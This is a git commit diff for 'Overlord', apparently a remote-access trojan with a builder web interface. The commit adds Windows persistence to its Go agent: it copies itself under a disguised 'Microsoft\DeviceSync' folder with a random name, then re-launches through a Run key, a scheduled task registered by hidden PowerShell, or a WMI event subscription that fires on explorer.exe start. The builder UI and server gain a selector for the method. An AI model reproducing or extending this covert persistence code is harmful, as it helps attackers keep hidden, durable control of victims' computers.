add more persistence options and fix startup detections. Also bump version to 1.3.5

This commit is contained in:
KingKDot
2026-03-12 13:52:02 -05:00
parent 52ac86507b
commit b2172dd3e8
10 changed files with 282 additions and 54 deletions
+1 -1
View File
@@ -17,7 +17,7 @@ import (
"time" "time"
) )
var AgentVersion = "1.3.4" var AgentVersion = "1.3.5"
var DefaultPersistence = "false" var DefaultPersistence = "false"
var DefaultServerURL = "wss://127.0.0.1:5173" var DefaultServerURL = "wss://127.0.0.1:5173"
@@ -5,6 +5,8 @@ import (
"path/filepath" "path/filepath"
) )
var DefaultPersistenceMethod = "startup"
func Setup() error { func Setup() error {
exePath, err := os.Executable() exePath, err := os.Executable()
if err != nil { if err != nil {
@@ -5,42 +5,86 @@ package persistence
import ( import (
"crypto/rand" "crypto/rand"
"crypto/sha256"
"encoding/hex" "encoding/hex"
"fmt" "fmt"
"io" "io"
"os" "os"
"os/exec"
"path/filepath" "path/filepath"
"strings" "strings"
"syscall"
"golang.org/x/sys/windows/registry" "golang.org/x/sys/windows/registry"
) )
const registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run` const (
const startupFolderRelative = `Microsoft\Windows\Start Menu\Programs\Startup` registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
const startupExecutablePrefix = "ovd_"
const legacyRegistryValueName = "OverlordAgent" startupFolderRelative = `Microsoft\Windows\Start Menu\Programs\Startup`
const registryValuePrefix = "OverlordAgent-"
appDataBinaryDir = `Microsoft\DeviceSync`
startupExecutablePrefix = "ovd_"
taskNamePrefix = "ovd_"
legacyRegistryValueName = "OverlordAgent"
registryValuePrefix = "OverlordAgent-"
createNoWindow = 0x08000000
)
func activeMethod() string {
m := strings.ToLower(strings.TrimSpace(DefaultPersistenceMethod))
switch m {
case "registry", "taskscheduler", "wmi":
return m
default:
return "startup"
}
}
func getTargetPath() (string, error) { func getTargetPath() (string, error) {
switch activeMethod() {
case "registry", "taskscheduler", "wmi":
return getAppDataTargetPath()
default:
return getStartupFolderTargetPath()
}
}
func getStartupFolderTargetPath() (string, error) {
appDataDir := os.Getenv("APPDATA") appDataDir := os.Getenv("APPDATA")
if appDataDir == "" { if appDataDir == "" {
return "", fmt.Errorf("APPDATA environment variable not set") return "", fmt.Errorf("APPDATA environment variable not set")
} }
startupDir := filepath.Join(appDataDir, startupFolderRelative) startupDir := filepath.Join(appDataDir, startupFolderRelative)
if existing, ok := findExistingStartupExecutable(startupDir); ok { if existing, ok := findExistingBinaryInDir(startupDir); ok {
return existing, nil return existing, nil
} }
name, err := generateBinaryName()
name, err := generateStartupExecutableName()
if err != nil { if err != nil {
return "", err return "", err
} }
return filepath.Join(startupDir, name), nil return filepath.Join(startupDir, name), nil
} }
func getAppDataTargetPath() (string, error) {
appDataDir := os.Getenv("APPDATA")
if appDataDir == "" {
return "", fmt.Errorf("APPDATA environment variable not set")
}
dir := filepath.Join(appDataDir, appDataBinaryDir)
if existing, ok := findExistingBinaryInDir(dir); ok {
return existing, nil
}
name, err := generateBinaryName()
if err != nil {
return "", err
}
return filepath.Join(dir, name), nil
}
func getLegacyTargetPath() (string, bool) { func getLegacyTargetPath() (string, bool) {
appDataDir := os.Getenv("APPDATA") appDataDir := os.Getenv("APPDATA")
if appDataDir == "" { if appDataDir == "" {
@@ -49,56 +93,160 @@ func getLegacyTargetPath() (string, bool) {
return filepath.Join(appDataDir, "Overlord", "agent.exe"), true return filepath.Join(appDataDir, "Overlord", "agent.exe"), true
} }
func findExistingStartupExecutable(startupDir string) (string, bool) { func findExistingBinaryInDir(dir string) (string, bool) {
entries, err := os.ReadDir(startupDir) entries, err := os.ReadDir(dir)
if err != nil { if err != nil {
return "", false return "", false
} }
for _, entry := range entries { for _, entry := range entries {
if entry.IsDir() { if entry.IsDir() {
continue continue
} }
name := strings.ToLower(entry.Name()) name := strings.ToLower(entry.Name())
if !strings.HasSuffix(name, ".exe") { if strings.HasSuffix(name, ".exe") && strings.HasPrefix(name, startupExecutablePrefix) {
continue return filepath.Join(dir, entry.Name()), true
}
if strings.HasPrefix(name, startupExecutablePrefix) {
return filepath.Join(startupDir, entry.Name()), true
} }
} }
return "", false return "", false
} }
func generateStartupExecutableName() (string, error) { func findExistingStartupExecutable(startupDir string) (string, bool) {
return findExistingBinaryInDir(startupDir)
}
func generateBinaryName() (string, error) {
b := make([]byte, 6) b := make([]byte, 6)
if _, err := rand.Read(b); err != nil { if _, err := rand.Read(b); err != nil {
return "", fmt.Errorf("failed to generate startup executable name: %w", err) return "", fmt.Errorf("failed to generate executable name: %w", err)
} }
return startupExecutablePrefix + hex.EncodeToString(b) + ".exe", nil return startupExecutablePrefix + hex.EncodeToString(b) + ".exe", nil
} }
func install(exePath string) error { func generateStartupExecutableName() (string, error) {
return generateBinaryName()
}
func deriveTaskName(targetPath string) string {
h := sha256.Sum256([]byte(strings.ToLower(filepath.Clean(targetPath))))
return taskNamePrefix + hex.EncodeToString(h[:4])
}
func deriveWMINames(targetPath string) (filterName, consumerName string) {
h := sha256.Sum256([]byte(strings.ToLower(filepath.Clean(targetPath))))
suffix := hex.EncodeToString(h[:4])
return taskNamePrefix + "f" + suffix, taskNamePrefix + "c" + suffix
}
func runPowerShell(script string) error {
cmd := exec.Command("powershell.exe",
"-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden",
"-Command", script)
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
CreationFlags: createNoWindow,
}
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("powershell: %w: %s", err, strings.TrimSpace(string(out)))
}
return nil
}
func installStartupFolder(_ string) error {
return nil
}
func installRegistry(targetPath string) error {
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey,
registry.QUERY_VALUE|registry.SET_VALUE)
if err != nil {
return fmt.Errorf("failed to open HKCU Run key: %w", err)
}
defer k.Close()
names, _ := k.ReadValueNames(0)
for _, name := range names {
if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) {
return k.SetStringValue(name, fmt.Sprintf(`"%s"`, targetPath))
}
}
b := make([]byte, 4)
if _, err := rand.Read(b); err != nil {
return fmt.Errorf("failed to generate registry value name: %w", err)
}
valueName := registryValuePrefix + hex.EncodeToString(b)
return k.SetStringValue(valueName, fmt.Sprintf(`"%s"`, targetPath))
}
func installTaskScheduler(targetPath string) error {
taskName := deriveTaskName(targetPath)
safe := strings.ReplaceAll(targetPath, "'", "''")
// Notes on PowerShell parameter syntax used here:
// -ExecutionTimeLimit: expects a TimeSpan; ([TimeSpan]::Zero) disables the limit.
// -StartWhenAvailable: SwitchParameter — must be bare or use colon syntax (:$true);
// writing "-StartWhenAvailable $true" (with space) makes $true a positional arg, which errors.
script := fmt.Sprintf(
`$a = New-ScheduledTaskAction -Execute '%s'; `+
`$t = New-ScheduledTaskTrigger -AtLogOn; `+
`$s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; `+
`Register-ScheduledTask -TaskName '%s' -Action $a -Trigger $t -Settings $s -Force | Out-Null`,
safe, taskName)
return runPowerShell(script)
}
func installWMI(targetPath string) error {
filterName, consumerName := deriveWMINames(targetPath)
safe := strings.ReplaceAll(targetPath, "'", "''")
script := fmt.Sprintf(
`$f = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance(); `+
`$f.QueryLanguage = 'WQL'; `+
`$f.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 30 `+
`WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'"; `+
`$f.Name = '%s'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); `+
`$c = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance(); `+
`$c.Name = '%s'; $c.ExecutablePath = '%s'; $null = $c.Put(); `+
`$b = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance(); `+
`$b.Filter = "\\.\root\subscription:__EventFilter.Name='%s'"; `+
`$b.Consumer = "\\.\root\subscription:CommandLineEventConsumer.Name='%s'"; `+
`$null = $b.Put()`,
filterName, consumerName, safe, filterName, consumerName)
return runPowerShell(script)
}
func install(exePath string) error {
targetPath, err := getTargetPath() targetPath, err := getTargetPath()
if err != nil { if err != nil {
return err return err
} }
startupDir := filepath.Dir(targetPath) dir := filepath.Dir(targetPath)
err = os.MkdirAll(startupDir, 0755) if err := os.MkdirAll(dir, 0755); err != nil {
if err != nil { return fmt.Errorf("failed to create directory: %w", err)
return fmt.Errorf("failed to create startup directory: %w", err)
} }
if err := replaceExecutable(exePath, targetPath); err != nil { if err := replaceExecutable(exePath, targetPath); err != nil {
return err return err
} }
if err := cleanupLegacyRunValues(); err != nil { switch activeMethod() {
return fmt.Errorf("failed to clean legacy startup registry values: %w", err) case "registry":
if err := installRegistry(targetPath); err != nil {
return fmt.Errorf("failed to install registry persistence: %w", err)
} }
case "taskscheduler":
if err := installTaskScheduler(targetPath); err != nil {
return fmt.Errorf("failed to install task scheduler persistence: %w", err)
}
case "wmi":
if err := installWMI(targetPath); err != nil {
return fmt.Errorf("failed to install WMI persistence: %w", err)
}
}
// Best-effort cleanup of legacy registry entries from older versions.
// Don't fail persistence setup if cleanup is denied due to insufficient permissions.
_ = cleanupLegacyRunValues()
return nil return nil
} }
@@ -139,7 +287,6 @@ func replaceExecutable(exePath, targetPath string) error {
} }
return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err) return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err)
} }
return nil return nil
} }
@@ -155,36 +302,43 @@ func configure(exePath string) error {
} }
} }
if err := cleanupLegacyRunValues(); err != nil { switch activeMethod() {
return fmt.Errorf("failed to clean legacy startup registry values: %w", err) case "registry":
if err := installRegistry(targetPath); err != nil {
return fmt.Errorf("failed to reconfigure registry persistence: %w", err)
}
case "taskscheduler":
if err := installTaskScheduler(targetPath); err != nil {
return fmt.Errorf("failed to reconfigure task scheduler persistence: %w", err)
}
case "wmi":
if err := installWMI(targetPath); err != nil {
return fmt.Errorf("failed to reconfigure WMI persistence: %w", err)
}
default:
// Best-effort cleanup of legacy registry entries from older versions.
// Don't fail persistence setup if cleanup is denied due to insufficient permissions.
_ = cleanupLegacyRunValues()
} }
return nil return nil
} }
func uninstall() error { func uninstall() error {
if err := cleanupLegacyRunValues(); err != nil { _ = cleanupLegacyRunValues()
return fmt.Errorf("failed to clean startup registry values: %w", err)
} _ = uninstallTaskScheduler()
_ = uninstallWMI()
appDataDir := os.Getenv("APPDATA") appDataDir := os.Getenv("APPDATA")
if appDataDir == "" { if appDataDir == "" {
return nil return nil
} }
startupDir := filepath.Join(appDataDir, startupFolderRelative) _ = cleanupPrefixedExecutables(filepath.Join(appDataDir, startupFolderRelative))
if err := cleanupPrefixedExecutables(startupDir); err != nil { _ = cleanupPrefixedExecutables(filepath.Join(appDataDir, appDataBinaryDir))
return err _ = cleanupPrefixedExecutables(filepath.Join(appDataDir, "Overlord"))
}
if err := cleanupPrefixedExecutables(filepath.Join(appDataDir, "Overlord")); err != nil {
return err
}
targetPath, err := getTargetPath()
if err == nil {
_ = os.Remove(targetPath)
}
if legacyPath, ok := getLegacyTargetPath(); ok { if legacyPath, ok := getLegacyTargetPath(); ok {
_ = os.Remove(legacyPath) _ = os.Remove(legacyPath)
@@ -193,6 +347,26 @@ func uninstall() error {
return nil return nil
} }
func uninstallTaskScheduler() error {
return runPowerShell(
`Get-ScheduledTask -ErrorAction SilentlyContinue | ` +
`Where-Object { $_.TaskName -like 'ovd_*' } | ` +
`Unregister-ScheduledTask -Confirm:$false -ErrorAction SilentlyContinue`)
}
func uninstallWMI() error {
return runPowerShell(
`Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding ` +
`-ErrorAction SilentlyContinue | Where-Object { $_.Filter -like "*ovd_*" } | ` +
`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
`Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer ` +
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
`Get-WmiObject -Namespace root\subscription -Class __EventFilter ` +
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
`Remove-WmiObject -ErrorAction SilentlyContinue`)
}
func cleanupPrefixedExecutables(dir string) error { func cleanupPrefixedExecutables(dir string) error {
entries, err := os.ReadDir(dir) entries, err := os.ReadDir(dir)
if err != nil { if err != nil {
@@ -218,7 +392,8 @@ func cleanupPrefixedExecutables(dir string) error {
} }
func cleanupLegacyRunValues() error { func cleanupLegacyRunValues() error {
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE) k, err := registry.OpenKey(registry.CURRENT_USER, registryKey,
registry.QUERY_VALUE|registry.SET_VALUE)
if err != nil { if err != nil {
if err == registry.ErrNotExist { if err == registry.ErrNotExist {
return nil return nil
@@ -226,7 +401,6 @@ func cleanupLegacyRunValues() error {
return fmt.Errorf("failed to open registry key: %w", err) return fmt.Errorf("failed to open registry key: %w", err)
} }
defer k.Close() defer k.Close()
return cleanupOverlordRunValues(k) return cleanupOverlordRunValues(k)
} }
@@ -235,7 +409,6 @@ func cleanupOverlordRunValues(k registry.Key) error {
if err != nil { if err != nil {
return err return err
} }
for _, name := range names { for _, name := range names {
if isOverlordRunValueName(name) { if isOverlordRunValueName(name) {
if err := k.DeleteValue(name); err != nil && err != registry.ErrNotExist { if err := k.DeleteValue(name); err != nil && err != registry.ErrNotExist {
@@ -243,7 +416,6 @@ func cleanupOverlordRunValues(k registry.Key) error {
} }
} }
} }
return nil return nil
} }
+1 -1
View File
@@ -1,6 +1,6 @@
{ {
"name": "overlord-server", "name": "overlord-server",
"version": "1.3.4", "version": "1.3.5",
"private": true, "private": true,
"type": "module", "type": "module",
"scripts": { "scripts": {
+14
View File
@@ -75,6 +75,18 @@ if (rawServerListCheckbox && serverUrlInput) {
}); });
} }
const persistenceCheckbox = document.querySelector('input[name="enable-persistence"]');
const persistenceMethodContainer = document.getElementById("persistence-method-container");
if (persistenceCheckbox && persistenceMethodContainer) {
persistenceCheckbox.addEventListener("change", () => {
if (persistenceCheckbox.checked) {
persistenceMethodContainer.classList.remove("hidden");
} else {
persistenceMethodContainer.classList.add("hidden");
}
});
}
async function init() { async function init() {
try { try {
updateServerUrlPlaceholder(); updateServerUrlPlaceholder();
@@ -191,6 +203,7 @@ form?.addEventListener("submit", async (e) => {
const enablePersistence = form.querySelector( const enablePersistence = form.querySelector(
'input[name="enable-persistence"]', 'input[name="enable-persistence"]',
).checked; ).checked;
const persistenceMethod = form.querySelector('#persistence-method')?.value || 'startup';
const hideConsole = form.querySelector( const hideConsole = form.querySelector(
'input[name="hide-console"]', 'input[name="hide-console"]',
).checked; ).checked;
@@ -208,6 +221,7 @@ form?.addEventListener("submit", async (e) => {
disableCgo, disableCgo,
obfuscate, obfuscate,
enablePersistence, enablePersistence,
persistenceMethod: enablePersistence ? persistenceMethod : undefined,
hideConsole, hideConsole,
noPrinting, noPrinting,
}; };
+24
View File
@@ -322,6 +322,30 @@
> >
</div> </div>
</label> </label>
<!-- Persistence method selector – Windows only, shown when persistence is enabled -->
<div
id="persistence-method-container"
class="hidden pl-3 border-l-2 border-orange-500/40"
>
<label
class="block text-xs font-medium text-slate-400 mb-1"
for="persistence-method"
>Windows Persistence Method</label
>
<select
id="persistence-method"
name="persistence-method"
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors"
>
<option value="startup">Startup Folder (APPDATA)</option>
<option value="registry">Registry (HKCU Run key)</option>
<option value="taskscheduler">Task Scheduler (ONLOGON, requires admin)</option>
<option value="wmi">WMI Subscription (requires admin)</option>
</select>
<p class="text-xs text-slate-500 mt-1">
Method used on Windows; other platforms use their native mechanism
</p>
</div>
<label <label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-emerald-500 transition-colors" class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-emerald-500 transition-colors"
title="Windows only: build without a console window" title="Windows only: build without a console window"
+1
View File
@@ -18,6 +18,7 @@ export type BuildConfig = {
disableCgo?: boolean; disableCgo?: boolean;
obfuscate?: boolean; obfuscate?: boolean;
enablePersistence?: boolean; enablePersistence?: boolean;
persistenceMethod?: string;
hideConsole?: boolean; hideConsole?: boolean;
noPrinting?: boolean; noPrinting?: boolean;
}; };
@@ -61,10 +61,13 @@ type BuildProcessConfig = {
disableCgo?: boolean; disableCgo?: boolean;
obfuscate?: boolean; obfuscate?: boolean;
enablePersistence?: boolean; enablePersistence?: boolean;
persistenceMethod?: string;
hideConsole?: boolean; hideConsole?: boolean;
noPrinting?: boolean; noPrinting?: boolean;
}; };
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
type BuildProcessDeps = { type BuildProcessDeps = {
generateBuildMutex: (length?: number) => string; generateBuildMutex: (length?: number) => string;
sanitizeOutputName: (name: string) => string; sanitizeOutputName: (name: string) => string;
@@ -307,6 +310,11 @@ export async function startBuildProcess(
const persistenceFlag = "-X overlord-client/cmd/agent/config.DefaultPersistence=true"; const persistenceFlag = "-X overlord-client/cmd/agent/config.DefaultPersistence=true";
ldflags = ldflags ? `${ldflags} ${persistenceFlag}` : persistenceFlag; ldflags = ldflags ? `${ldflags} ${persistenceFlag}` : persistenceFlag;
sendToStream({ type: "output", text: `Persistence enabled for ${platform}\n`, level: "info" }); sendToStream({ type: "output", text: `Persistence enabled for ${platform}\n`, level: "info" });
if (os === 'windows' && config.persistenceMethod && VALID_PERSISTENCE_METHODS.has(config.persistenceMethod)) {
const methodFlag = `-X overlord-client/cmd/agent/persistence.DefaultPersistenceMethod=${config.persistenceMethod}`;
ldflags = `${ldflags} ${methodFlag}`;
sendToStream({ type: "output", text: `Persistence method: ${config.persistenceMethod}\n`, level: "info" });
}
} else { } else {
sendToStream({ type: "output", text: `Persistence is not supported on ${platform}, skipping...\n`, level: "warning" }); sendToStream({ type: "output", text: `Persistence is not supported on ${platform}, skipping...\n`, level: "warning" });
} }
@@ -46,6 +46,7 @@ export async function handleBuildRoutes(
disableCgo, disableCgo,
obfuscate, obfuscate,
enablePersistence, enablePersistence,
persistenceMethod,
mutex, mutex,
disableMutex, disableMutex,
hideConsole, hideConsole,
@@ -112,6 +113,11 @@ export async function handleBuildRoutes(
}); });
const safeNoPrinting = !!noPrinting; const safeNoPrinting = !!noPrinting;
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
const safePersistenceMethod =
typeof persistenceMethod === 'string' && VALID_PERSISTENCE_METHODS.has(persistenceMethod.toLowerCase())
? persistenceMethod.toLowerCase()
: 'startup';
deps.startBuildProcess(buildId, { deps.startBuildProcess(buildId, {
platforms: allowedPlatforms, platforms: allowedPlatforms,
serverUrl: safeServerUrl, serverUrl: safeServerUrl,
@@ -122,6 +128,7 @@ export async function handleBuildRoutes(
disableCgo, disableCgo,
obfuscate: !!obfuscate, obfuscate: !!obfuscate,
enablePersistence, enablePersistence,
persistenceMethod: safePersistenceMethod,
hideConsole: !!hideConsole, hideConsole: !!hideConsole,
noPrinting: safeNoPrinting, noPrinting: safeNoPrinting,
}); });
+1 -1
View File
@@ -1 +1 @@
export const SERVER_VERSION = "1.3.4"; export const SERVER_VERSION = "1.3.5";